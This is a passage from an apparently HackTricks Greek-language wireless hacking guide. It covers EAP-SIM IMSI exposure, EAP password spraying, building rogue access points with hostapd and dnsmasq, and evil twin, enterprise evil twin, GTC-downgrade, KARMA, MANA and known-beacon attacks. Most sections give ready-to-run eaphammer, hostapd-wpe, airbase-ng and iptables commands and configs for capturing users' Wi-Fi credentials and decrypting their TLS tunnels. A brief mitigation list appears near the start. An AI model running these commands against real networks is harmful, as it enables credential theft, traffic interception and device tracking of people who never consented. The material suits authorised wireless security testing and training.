# 20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
Σημειώσεις:
- Λειτουργεί πριν από οποιοδήποτε TLS tunnel εάν η υλοποίηση χρησιμοποιεί γυμνό EAP‑SIM/AKA χωρίς προστατευμένη ταυτότητα/ψευδώνυμα.
- Η εκτεθειμένη τιμή είναι ένας μόνιμος αναγνωριστής δεμένος με την SIM του συνδρομητή· η συλλογή του επιτρέπει μακροχρόνια παρακολούθηση και επακόλουθη κατάχρηση στο τηλεπικοινωνιακό επίπεδο.
Επιπτώσεις
- Απόρρητο: επίμονη παρακολούθηση χρήστη/συσκευής από παθητικές καταγραφές Wi‑Fi σε δημόσιους χώρους.
- Εκκίνηση κατάχρησης τηλεπικοινωνιών: με το IMSI, ένας επιτιθέμενος με πρόσβαση σε SS7/Diameter μπορεί να ερωτήσει τη θέση ή να επιχειρήσει παρεμβολή κλήσεων/SMS και κλοπή MFA.
Μέτρα μετριασμού / τι να αναζητήσετε
- Επαληθεύστε ότι οι clients χρησιμοποιούν ανώνυμες εξωτερικές ταυτότητες (ψευδώνυμα) για EAP‑SIM/AKA σύμφωνα με τις οδηγίες 3GPP (π.χ. 3GPP TS 33.402).
- Προτιμήστε τη δρομολόγηση/τούνελινγκ της φάσης ταυτότητας (π.χ., EAP‑TTLS/PEAP που μεταφέρει inner EAP‑SIM/AKA) ώστε το IMSI να μην σταλεί ποτέ σε καθαρό κείμενο.
- Καταγραφές πακέτων της association/auth δεν πρέπει ποτέ να αποκαλύπτουν ένα raw IMSI στο EAP-Response/Identity.
Σχετικά: Εκμετάλλευση σηματοδότησης τηλεπικοινωνιών με καταγεγραμμένους κινητούς αναγνωριστές Telecom Network Exploitation
EAP-Bruteforce (password spray)
Εάν ο client αναμένεται να χρησιμοποιήσει όνομα χρήστη και κωδικό (σημειώστε ότι EAP-TLS δεν θα είναι έγκυρο σε αυτή την περίπτωση), τότε μπορείτε να προσπαθήσετε να αποκτήσετε μια λίστα με ονόματα χρηστών (βλέπε επόμενο μέρος) και κωδικούς και να επιχειρήσετε να bruteforce την πρόσβαση χρησιμοποιώντας air-hammer.
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
Μπορείτε επίσης να κάνετε αυτή την επίθεση χρησιμοποιώντας eaphammer
:
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
Θεωρία επιθέσεων σε πελάτες
Επιλογή δικτύου και περιαγωγή
- Το 802.11 πρωτόκολλο ορίζει πώς ένας σταθμός συνδέεται σε ένα Extended Service Set (ESS) αλλά δεν ορίζει τα κριτήρια για την επιλογή ενός ESS ή ενός access point (AP) εντός αυτού.
- Οι σταθμοί μπορούν να πραγματοποιούν περιαγωγή μεταξύ AP που μοιράζονται το ίδιο ESSID, διατηρώντας τη συνδεσιμότητα σε ένα κτίριο ή περιοχή.
- Το πρωτόκολλο απαιτεί την πιστοποίηση του σταθμού προς το ESS αλλά δεν επιβάλλει την πιστοποίηση του AP προς τον σταθμό.
Preferred Network Lists (PNLs)
- Οι σταθμοί αποθηκεύουν το ESSID κάθε ασύρματου δικτύου με το οποίο συνδέονται στη Preferred Network List (PNL), μαζί με λεπτομέρειες διαμόρφωσης ειδικές για το δίκτυο.
- Η PNL χρησιμοποιείται για αυτόματη σύνδεση σε γνωστά δίκτυα, βελτιώνοντας την εμπειρία του χρήστη με την απλοποίηση της διαδικασίας σύνδεσης.
Passive Scanning
- Τα AP μεταδίδουν περιοδικά beacon frames, ανακοινώνοντας την παρουσία και τις λειτουργίες τους, συμπεριλαμβανομένου του ESSID του AP εκτός αν η μετάδοση έχει απενεργοποιηθεί.
- Κατά τη διάρκεια της παθητικής σάρωσης, οι σταθμοί ακούνε για beacon frames. Εάν το ESSID ενός beacon ταιριάζει με μια εγγραφή στην PNL του σταθμού, ο σταθμός μπορεί να συνδεθεί αυτόματα με αυτό το AP.
- Η γνώση της PNL μιας συσκευής επιτρέπει πιθανή εκμετάλλευση μιμούμενη το ESSID ενός γνωστού δικτύου, ξεγελώντας τη συσκευή να συνδεθεί σε ένα rogue AP.
Active Probing
- Η ενεργή ανίχνευση περιλαμβάνει σταθμούς που στέλνουν probe requests για να ανακαλύψουν κοντινά AP και τα χαρακτηριστικά τους.
- Directed probe requests στοχεύουν ένα συγκεκριμένο ESSID, βοηθώντας στον εντοπισμό εάν ένα συγκεκριμένο δίκτυο είναι εντός εμβέλειας, ακόμα κι αν είναι κρυφό.
- Broadcast probe requests έχουν πεδίο null SSID και αποστέλλονται σε όλα τα κοντινά AP, επιτρέποντας στον σταθμό να ελέγξει για οποιοδήποτε προτιμώμενο δίκτυο χωρίς να αποκαλύπτει το περιεχόμενο της PNL του.
Απλό AP με ανακατεύθυνση στο Internet
Πριν εξηγήσουμε πώς να πραγματοποιήσουμε πιο πολύπλοκες επιθέσεις, θα εξηγηθεί πώς να δημιουργήσετε ένα AP και να ανακατευθύνετε την κυκλοφορία του σε μια διεπαφή συνδεδεμένη στο Internet.
Χρησιμοποιώντας ifconfig -a
ελέγξτε ότι η διεπαφή wlan για τη δημιουργία του AP και η διεπαφή συνδεδεμένη στο Internet είναι παρούσες.
DHCP & DNS
apt-get install dnsmasq #Manages DHCP and DNS
Δημιουργήστε το αρχείο ρυθμίσεων /etc/dnsmasq.conf
:
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
Στη συνέχεια set IPs και routes:
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
Και στη συνέχεια ξεκινήστε dnsmasq:
dnsmasq -C dnsmasq.conf -d
hostapd
apt-get install hostapd
Δημιουργήστε ένα αρχείο ρυθμίσεων hostapd.conf
:
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
Σταματήστε τις ενοχλητικές διεργασίες , θέστε monitor mode, και εκκινήστε hostapd:
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
Προώθηση και Ανακατεύθυνση
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
Evil Twin
Μια evil twin επίθεση εκμεταλλεύεται τον τρόπο με τον οποίο οι WiFi clients αναγνωρίζουν δίκτυα, βασιζόμενη κυρίως στο όνομα δικτύου (ESSID) χωρίς να απαιτείται η base station (access point) να πιστοποιήσει τον εαυτό της στον client. Βασικά σημεία:
- Difficulty in Differentiation: Οι συσκευές δυσκολεύονται να διακρίνουν μεταξύ νόμιμων και κακόβουλων access points όταν μοιράζονται το ίδιο ESSID και τύπο κρυπτογράφησης. Τα πραγματικά δίκτυα συχνά χρησιμοποιούν πολλαπλά access points με το ίδιο ESSID για να επεκτείνουν την κάλυψη ομαλά.
- Client Roaming and Connection Manipulation: Το πρωτόκολλο 802.11 επιτρέπει στις συσκευές να roam-άρουν μεταξύ access points εντός του ίδιου ESS. Οι επιτιθέμενοι μπορούν να το εκμεταλλευτούν δελεάζοντας μια συσκευή να αποσυνδεθεί από την τρέχουσα base station και να συνδεθεί σε ένα κακόβουλο. Αυτό μπορεί να επιτευχθεί προσφέροντας ισχυρότερο σήμα ή διαταράσσοντας τη σύνδεση προς το νόμιμο access point μέσω μεθόδων όπως deauthentication packets ή jamming.
- Challenges in Execution: Η επιτυχημένη εκτέλεση μιας evil twin επίθεσης σε περιβάλλοντα με πολλαπλά, καλά τοποθετημένα access points μπορεί να είναι δύσκολη. Το να deauthenticate-ώσεις ένα μόνο νόμιμο access point συχνά οδηγεί τη συσκευή να συνδεθεί σε άλλο νόμιμο access point, εκτός αν ο επιτιθέμενος καταφέρει να deauthenticate-ήσει όλα τα κοντινά access points ή να τοποθετήσει στρατηγικά το rogue access point.
Μπορείς να δημιουργήσεις ένα πολύ βασικό Open Evil Twin (no capabilities to route traffic to Internet) κάνοντας:
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
Μπορείτε επίσης να δημιουργήσετε ένα Evil Twin χρησιμοποιώντας eaphammer (σημειώστε ότι για να δημιουργήσετε evil twins με eaphammer η διεπαφή should NOT be σε monitor mode):
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
Ή χρησιμοποιώντας Airgeddon: Options: 5,6,7,8,9 (inside Evil Twin attack menu).
Παρατηρήστε ότι από προεπιλογή, αν ένα ESSID στο PNL είναι αποθηκευμένο ως προστατευμένο με WPA, η συσκευή δεν θα συνδεθεί αυτόματα σε ένα Open evil Twin. Μπορείτε να προσπαθήσετε να DoS τον πραγματικό AP και να ελπίζετε ότι ο χρήστης θα συνδεθεί χειροκίνητα στο Open evil twin σας, ή μπορείτε να DoS τον πραγματικό AP και να χρησιμοποιήσετε ένα WPA Evil Twin για να καταγράψετε το handshake (χρησιμοποιώντας αυτή τη μέθοδο δεν θα μπορείτε να επιτρέψετε στο θύμα να συνδεθεί σε εσάς καθώς δεν γνωρίζετε το PSK, αλλά μπορείτε να καταγράψετε το handshake και να προσπαθήσετε να crack it).
Κάποια OS και AV θα προειδοποιήσουν τον χρήστη ότι η σύνδεση σε ένα Open network είναι επικίνδυνη...
WPA/WPA2 Evil Twin
Μπορείτε να δημιουργήσετε ένα Evil Twin using WPA/2 και αν οι συσκευές έχουν ρυθμιστεί να συνδέονται σε αυτό το SSID με WPA/2, θα προσπαθήσουν να συνδεθούν. Παρ' όλα αυτά, για να ολοκληρωθεί το 4-way-handshake χρειάζεται επίσης να γνωρίζετε τον password που ο client θα χρησιμοποιήσει. Αν δεν το γνωρίζετε, η σύνδεση δεν θα ολοκληρωθεί.
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
Enterprise Evil Twin
Για να κατανοήσετε αυτές τις επιθέσεις, θα συνιστούσα να διαβάσετε πρώτα τη σύντομη WPA Enterprise explanation.
Χρήση του hostapd-wpe
hostapd-wpe
χρειάζεται ένα αρχείο ρυθμίσεων για να λειτουργήσει. Για να αυτοματοποιήσετε τη δημιουργία αυτών των ρυθμίσεων μπορείτε να χρησιμοποιήσετε https://github.com/WJDigby/apd_launchpad (κατεβάστε το python αρχείο μέσα στο /etc/hostapd-wpe/)
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
Στο αρχείο ρυθμίσεων μπορείτε να επιλέξετε πολλά διαφορετικά πράγματα όπως ssid, channel, αρχεία χρηστών, cret/key, παραμέτρους dh, έκδοση wpa και auth...
Using hostapd-wpe with EAP-TLS to allow any certificate to login.
Χρήση EAPHammer
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
Από προεπιλογή, το EAPHammer χρησιμοποιεί τις εξής authentication methods (σημειώστε το GTC ως την πρώτη που θα δοκιμαστεί για να αποκτηθούν plaintext passwords και έπειτα η χρήση πιο ανθεκτικών μεθόδων auth):
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
Αυτή είναι η προεπιλεγμένη μεθοδολογία για να αποφευχθούν οι μεγάλοι χρόνοι σύνδεσης. Ωστόσο, μπορείτε επίσης να καθορίσετε στον server τις authentication methods από την πιο αδύναμη στην πιο ισχυρή:
--negotiate weakest
Ή μπορείτε επίσης να χρησιμοποιήσετε:
--negotiate gtc-downgrade
για χρήση μιας υψηλής αποδοτικότητας υλοποίησης GTC downgrade (plaintext passwords)--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP
για να καθορίσετε χειροκίνητα τις μεθόδους που προσφέρονται (προσφέροντας τις ίδιες auth methods στην ίδια σειρά με την οργάνωση, η επίθεση θα γίνει πολύ πιο δύσκολη στην ανίχνευση).- Βρείτε περισσότερες πληροφορίες στο wiki
Χρήση του Airgeddon
Airgeddon
μπορεί να χρησιμοποιήσει προηγουμένως δημιουργημένα certificated για να προσφέρει EAP authentication σε δίκτυα WPA/WPA2-Enterprise. Το ψεύτικο δίκτυο θα υποβαθμίσει το πρωτόκολλο σύνδεσης σε EAP-MD5 ώστε να μπορεί να capture the user and the MD5 of the password. Αργότερα, ο επιτιθέμενος μπορεί να προσπαθήσει να crack το password.
Airggedon
προσφέρει τη δυνατότητα ενός continuous Evil Twin attack (noisy) ή μόνο να δημιουργήσει το Evil Attack μέχρι κάποιος να συνδεθεί (smooth).
Αποσφαλμάτωση των PEAP και EAP-TTLS TLS tunnels σε Evil Twins attacks
Αυτή η μέθοδος δοκιμάστηκε σε σύνδεση PEAP αλλά καθώς αποκρυπτογραφώ ένα αυθαίρετο TLS tunnel αυτό θα πρέπει επίσης να λειτουργεί με EAP-TTLS
Μέσα στην configuration του hostapd-wpe σχολιάστε τη γραμμή που περιέχει dh_file (από dh_file=/etc/hostapd-wpe/certs/dh
σε #dh_file=/etc/hostapd-wpe/certs/dh
)
Αυτό θα κάνει το hostapd-wpe
να exchange keys using RSA αντί για DH, έτσι θα μπορείτε να decrypt την κίνηση αργότερα γνωρίζοντας το servers private key.
Τώρα ξεκινήστε το Evil Twin χρησιμοποιώντας hostapd-wpe
με αυτήν τη τροποποιημένη configuration όπως συνήθως. Επίσης, ξεκινήστε wireshark
στην interface που εκτελεί την επίθεση Evil Twin.
Τώρα ή αργότερα (όταν έχετε ήδη captured some authentication intents) μπορείτε να προσθέσετε το ιδιωτικό RSA κλειδί στο wireshark σε: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...
Προσθέστε μια νέα εγγραφή και συμπληρώστε τη φόρμα με αυτές τις τιμές: IP address = any -- Port = 0 -- Protocol = data -- Key File (select your key file, για να αποφύγετε προβλήματα επιλέξτε ένα key file without being password protected).
Και κοιτάξτε την νέα καρτέλα "Decrypted TLS":
KARMA, MANA, Loud MANA and Known beacons attack
ESSID and MAC black/whitelists
Διαφορετικοί τύποι Media Access Control Filter Lists (MFACLs) και οι αντίστοιχοι τρόποι λειτουργίας και οι επιπτώσεις τους στη συμπεριφορά ενός rogue Access Point (AP):
- MAC-based Whitelist:
- Το rogue AP θα απαντά μόνο σε probe requests από συσκευές που αναφέρονται στη whitelist, παραμένοντας αόρατο σε όλες τις υπόλοιπες που δεν περιλαμβάνονται.
- MAC-based Blacklist:
- Το rogue AP θα αγνοεί probe requests από συσκευές που βρίσκονται στη blacklist, καθιστώντας το rogue AP ουσιαστικά αόρατο σε αυτές τις συγκεκριμένες συσκευές.
- SSID-based Whitelist:
- Το rogue AP θα απαντά σε probe requests μόνο για συγκεκριμένα ESSIDs που αναφέρονται, καθιστώντας το αόρατο σε συσκευές των οποίων οι Preferred Network Lists (PNLs) δεν περιέχουν αυτά τα ESSIDs.
- SSID-based Blacklist:
- Το rogue AP δεν θα απαντά σε probe requests για τα συγκεκριμένα ESSIDs που είναι στη blacklist, καθιστώντας το αόρατο σε συσκευές που αναζητούν αυτά τα συγκεκριμένα δίκτυα.
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
KARMA
Αυτή η μέθοδος επιτρέπει σε έναν attacker to create a malicious access point (AP) that responds to all probe requests από συσκευές που επιδιώκουν να συνδεθούν σε δίκτυα. Αυτή η τεχνική tricks devices into connecting to an attacker's AP μιμούμενη τα δίκτυα που οι συσκευές αναζητούν. Μόλις μια συσκευή στείλει ένα αίτημα σύνδεσης σε αυτό το rogue AP, η σύνδεση ολοκληρώνεται, με αποτέλεσμα η συσκευή να συνδεθεί κατά λάθος στο δίκτυο του attacker.
MANA
Στη συνέχεια, devices started to ignore unsolid network responses, μειώνοντας την αποτελεσματικότητα της αρχικής karma attack. Ωστόσο, μια νέα μέθοδος, γνωστή ως η MANA attack, εισήχθη από τους Ian de Villiers και Dominic White. Αυτή η μέθοδος περιλαμβάνει το rogue AP capturing the Preferred Network Lists (PNL) from devices by responding to their broadcast probe requests με ονόματα δικτύων (SSIDs) που ήταν προηγουμένως γνωστά από τις συσκευές. Αυτή η εξελιγμένη επίθεση παρακάμπτει τις προστασίες ενάντια στην αρχική karma attack εκμεταλλευόμενη τον τρόπο με τον οποίο οι συσκευές θυμούνται και προτεραιοποιούν γνωστά δίκτυα.
Η MANA attack λειτουργεί με την παρακολούθηση τόσο των directed όσο και των broadcast probe requests από συσκευές. Για directed requests, καταγράφει τη MAC address της συσκευής και το ζητούμενο όνομα δικτύου, προσθέτοντας αυτές τις πληροφορίες σε μια λίστα. Όταν λαμβάνεται ένα broadcast request, το AP απαντά με πληροφορίες που ταιριάζουν με κάποιο από τα δίκτυα στη λίστα της συσκευής, δελεάζοντας τη συσκευή να συνδεθεί στο rogue AP.
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
Loud MANA
Μια επίθεση Loud MANA είναι μια προηγμένη στρατηγική για περιπτώσεις όπου οι συσκευές δεν χρησιμοποιούν directed probing ή όταν οι Preferred Network Lists (PNL) είναι άγνωστες στον επιτιθέμενο. Λειτουργεί με την αρχή ότι οι συσκευές στην ίδια περιοχή πιθανότατα μοιράζονται κάποια ονόματα δικτύων στις PNLs τους. Αντί να απαντά επιλεκτικά, αυτή η επίθεση εκπέμπει probe responses για κάθε όνομα δικτύου (ESSID) που βρέθηκε στα συνδυασμένα PNLs όλων των παρατηρούμενων συσκευών. Αυτή η ευρεία προσέγγιση αυξάνει την πιθανότητα μια συσκευή να αναγνωρίσει ένα γνώριμο δίκτυο και να προσπαθήσει να συνδεθεί στον rogue Access Point (AP).
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
Known Beacon attack
Όταν το Loud MANA attack μπορεί να μην αρκεί, το Known Beacon attack προσφέρει μια άλλη προσέγγιση. Αυτή η μέθοδος brute-forces τη διαδικασία σύνδεσης προσομοιώνοντας ένα AP που απαντά σε οποιοδήποτε όνομα δικτύου, διατρέχοντας μια λίστα πιθανών ESSIDs που προκύπτουν από ένα wordlist. Αυτό προσομοιώνει την παρουσία πολλών δικτύων, με την ελπίδα να ταιριάξει ένα ESSID στο PNL του θύματος, προκαλώντας προσπάθεια σύνδεσης στο κατασκευασμένο AP. Η επίθεση μπορεί να ενισχυθεί συνδυάζοντάς την με την επιλογή --loud
για μια πιο επιθετική απόπειρα παγίδευσης συσκευών.
Eaphammer υλοποίησε αυτήν την επίθεση ως MANA attack όπου όλα τα ESSIDs μέσα σε μια λίστα εκπέμπονται (μπορείτε επίσης να το συνδυάσετε με --loud
για να δημιουργήσετε μια Loud MANA + Known beacons attack):
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
Known Beacon Burst attack
Η Known Beacon Burst attack περιλαμβάνει ταχεία εκπομπή beacon frames για κάθε ESSID που αναφέρεται σε ένα αρχείο. Αυτό δημιουργεί ένα πυκνό περιβάλλον ψεύτικων δικτύων, αυξάνοντας σημαντικά την πιθανότητα οι συσκευές να συνδεθούν στον rogue AP, ειδικά όταν συνδυάζεται με μια MANA attack. Αυτή η τεχνική αξιοποιεί την ταχύτητα και τον όγκο για να υπερφορτώσει τους μηχανισμούς επιλογής δικτύου των συσκευών.
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
Wi-Fi Direct
Wi-Fi Direct είναι ένα πρωτόκολλο που επιτρέπει στις συσκευές να συνδέονται απευθείας μεταξύ τους χρησιμοποιώντας Wi-Fi χωρίς την ανάγκη για έναν παραδοσιακό wireless access point. Αυτή η δυνατότητα είναι ενσωματωμένη σε διάφορες συσκευές του Internet of Things (IoT), όπως εκτυπωτές και τηλεοράσεις, διευκολύνοντας την απευθείας επικοινωνία συσκευή-προς-συσκευή. Ένα αξιοσημείωτο χαρακτηριστικό του Wi-Fi Direct είναι ότι μία συσκευή αναλαμβάνει το ρόλο ενός access point, γνωστή ως group owner, για τη διαχείριση της σύνδεσης.
Η ασφάλεια για τις συνδέσεις Wi-Fi Direct εγκαθιδρύεται μέσω του Wi-Fi Protected Setup (WPS), το οποίο υποστηρίζει αρκετές μεθόδους για ασφαλές pairing, συμπεριλαμβανομένων:
- Push-Button Configuration (PBC)
- PIN entry
- Near-Field Communication (NFC)
Αυτές οι μέθοδοι, ιδιαίτερα το PIN entry, είναι ευάλωτες στις ίδιες ευπάθειες με το WPS σε παραδοσιακά δίκτυα Wi-Fi, καθιστώντας τες στόχους για παρόμοιες επιθέσεις.
EvilDirect Hijacking
EvilDirect Hijacking είναι μια επίθεση ειδική για το Wi-Fi Direct. Αντιγράφει την ιδέα της επίθεσης Evil Twin αλλά στοχεύει συνδέσεις Wi-Fi Direct. Σε αυτό το σενάριο, ένας επιτιθέμενος προσποιείται έναν νόμιμο group owner με σκοπό να παραπλανήσει συσκευές ώστε να συνδεθούν σε έναν κακόβουλο κόμβο. Αυτή η μέθοδος μπορεί να εκτελεστεί χρησιμοποιώντας εργαλεία όπως airbase-ng
καθορίζοντας το channel, ESSID και MAC address της προσποιούμενης συσκευής:
Αναφορές
- https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee
- https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d
- https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf
- http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d
- https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- The vulnerability that killed FreeWifi_Secure
- RFC 4186 – EAP-SIM Authentication
- 3GPP TS 33.402 – 3GPP system architecture evolution (SAE); Security aspects of non-3GPP accesses
TODO: Ρίξτε μια ματιά στο [https://github.com/wifiphisher/wifiphisher] (login με facebook και μίμηση WPA σε captive portals)
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.